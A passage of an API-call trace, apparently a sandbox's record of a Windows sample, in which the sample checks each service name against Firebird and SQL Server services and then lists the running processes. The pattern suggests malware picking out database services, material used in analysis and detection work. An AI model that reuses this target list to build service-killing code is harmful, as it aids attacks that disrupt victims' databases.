(lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0089.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0089.424] lstrlenW (lpString="DPS") returned 3 [0089.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0089.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0089.424] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0089.424] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0089.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0089.424] lstrlenW (lpString="DusmSvc") returned 7 [0089.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0089.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0089.424] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0089.424] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0089.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0089.424] lstrlenW (lpString="EventLog") returned 8 [0089.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0089.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0089.424] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0089.424] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0089.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0089.425] lstrlenW (lpString="EventSystem") returned 11 [0089.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0089.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0089.425] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0089.425] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0089.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0089.425] lstrlenW (lpString="FontCache") returned 9 [0089.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0089.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0089.425] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0089.425] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0089.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0089.425] lstrlenW (lpString="gpsvc") returned 5 [0089.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0089.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0089.425] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0089.425] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0089.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0089.425] lstrlenW (lpString="iphlpsvc") returned 8 [0089.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0089.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0089.425] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0089.425] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0089.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0089.425] lstrlenW (lpString="KeyIso") returned 6 [0089.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0089.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0089.425] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0089.425] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0089.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0089.425] lstrlenW (lpString="LanmanServer") returned 12 [0089.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0089.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0089.425] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0089.425] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0089.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0089.425] lstrlenW (lpString="LanmanWorkstation") returned 17 [0089.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.425] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0089.426] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0089.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0089.426] lstrlenW (lpString="lfsvc") returned 5 [0089.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0089.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0089.426] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0089.426] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0089.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0089.426] lstrlenW (lpString="lmhosts") returned 7 [0089.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0089.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0089.426] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0089.426] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0089.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0089.426] lstrlenW (lpString="LSM") returned 3 [0089.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0089.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0089.426] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0089.426] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0089.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0089.426] lstrlenW (lpString="MapsBroker") returned 10 [0089.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0089.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0089.426] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0089.426] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0089.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0089.426] lstrlenW (lpString="MpsSvc") returned 6 [0089.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0089.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0089.426] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0089.426] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0089.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0089.426] lstrlenW (lpString="NcbService") returned 10 [0089.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0089.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0089.426] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0089.426] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0089.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0089.426] lstrlenW (lpString="netprofm") returned 8 [0089.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0089.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0089.427] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0089.427] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0089.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0089.427] lstrlenW (lpString="NlaSvc") returned 6 [0089.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0089.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0089.427] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0089.427] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0089.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0089.427] lstrlenW (lpString="nsi") returned 3 [0089.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0089.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0089.427] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0089.427] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0089.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0089.427] lstrlenW (lpString="PcaSvc") returned 6 [0089.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0089.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0089.427] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0089.427] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0089.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0089.427] lstrlenW (lpString="PlugPlay") returned 8 [0089.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0089.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0089.427] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0089.427] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0089.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0089.427] lstrlenW (lpString="Power") returned 5 [0089.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0089.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0089.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0089.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0089.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0089.428] lstrlenW (lpString="ProfSvc") returned 7 [0089.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0089.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0089.428] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0089.428] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0089.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0089.428] lstrlenW (lpString="RpcEptMapper") returned 12 [0089.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.428] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0089.428] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0089.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0089.428] lstrlenW (lpString="RpcSs") returned 5 [0089.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0089.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0089.428] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0089.428] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0089.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0089.428] lstrlenW (lpString="SamSs") returned 5 [0089.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0089.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0089.428] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0089.428] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0089.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0089.428] lstrlenW (lpString="Schedule") returned 8 [0089.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0089.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0089.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0089.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0089.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0089.428] lstrlenW (lpString="SecurityHealthService") returned 21 [0089.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0089.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0089.428] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0089.428] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0089.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0089.428] lstrlenW (lpString="SENS") returned 4 [0089.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0089.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0089.429] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0089.429] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0089.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0089.429] lstrlenW (lpString="ShellHWDetection") returned 16 [0089.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.429] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0089.429] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0089.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0089.429] lstrlenW (lpString="Spooler") returned 7 [0089.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0089.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0089.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0089.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0089.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0089.429] lstrlenW (lpString="SSDPSRV") returned 7 [0089.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0089.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0089.429] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0089.429] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0089.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0089.429] lstrlenW (lpString="StateRepository") returned 15 [0089.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0089.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0089.429] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0089.429] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0089.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0089.429] lstrlenW (lpString="SysMain") returned 7 [0089.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0089.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0089.429] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0089.429] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0089.430] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x37e79b8 | out: hHeap=0x490000) returned 1 [0089.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0089.436] Process32FirstW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.436] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0089.437] lstrlenW (lpString="System") returned 6 [0089.437] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0089.438] lstrlenW (lpString="smss.exe") returned 8 [0089.438] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.438] lstrlenW (lpString="csrss.exe") returned 9 [0089.438] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0089.439] lstrlenW (lpString="wininit.exe") returned 11 [0089.439] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.439] lstrlenW (lpString="csrss.exe") returned 9 [0089.439] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0089.440] lstrlenW (lpString="winlogon.exe") returned 12 [0089.440] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0089.440] lstrlenW (lpString="services.exe") returned 12 [0089.440] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0089.441] lstrlenW (lpString="lsass.exe") returned 9 [0089.441] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.441] lstrlenW (lpString="svchost.exe") returned 11 [0089.441] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0089.442] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0089.442] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0089.833] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0089.833] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.834] lstrlenW (lpString="svchost.exe") returned 11 [0089.834] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0089.834] lstrlenW (lpString="dwm.exe") returned 7 [0089.834] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.835] lstrlenW (lpString="svchost.exe") returned 11 [0089.835] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.835] lstrlenW (lpString="svchost.exe") returned 11 [0089.836] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.836] lstrlenW (lpString="svchost.exe") returned 11 [0089.836] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.837] lstrlenW (lpString="svchost.exe") returned 11 [0089.837] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.837] lstrlenW (lpString="svchost.exe") returned 11 [0089.837] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.838] lstrlenW (lpString="svchost.exe") returned 11 [0089.838] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.838] lstrlenW (lpString="svchost.exe") returned 11 [0089.838] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.839] lstrlenW (lpString="svchost.exe") returned 11 [0089.839] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.839] lstrlenW (lpString="svchost.exe") returned 11 [0089.839] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.840] lstrlenW (lpString="svchost.exe") returned 11 [0089.840] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0089.840] lstrlenW (lpString="spoolsv.exe") returned 11 [0089.840] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.841] lstrlenW (lpString="svchost.exe") returned 11 [0089.841] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0089.841] lstrlenW (lpString="audiodg.exe") returned 11 [0089.841] Process32NextW (in: hSnapshot=0x354, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0089.842] lstrlenW (lpString="sihost.exe") returned 10 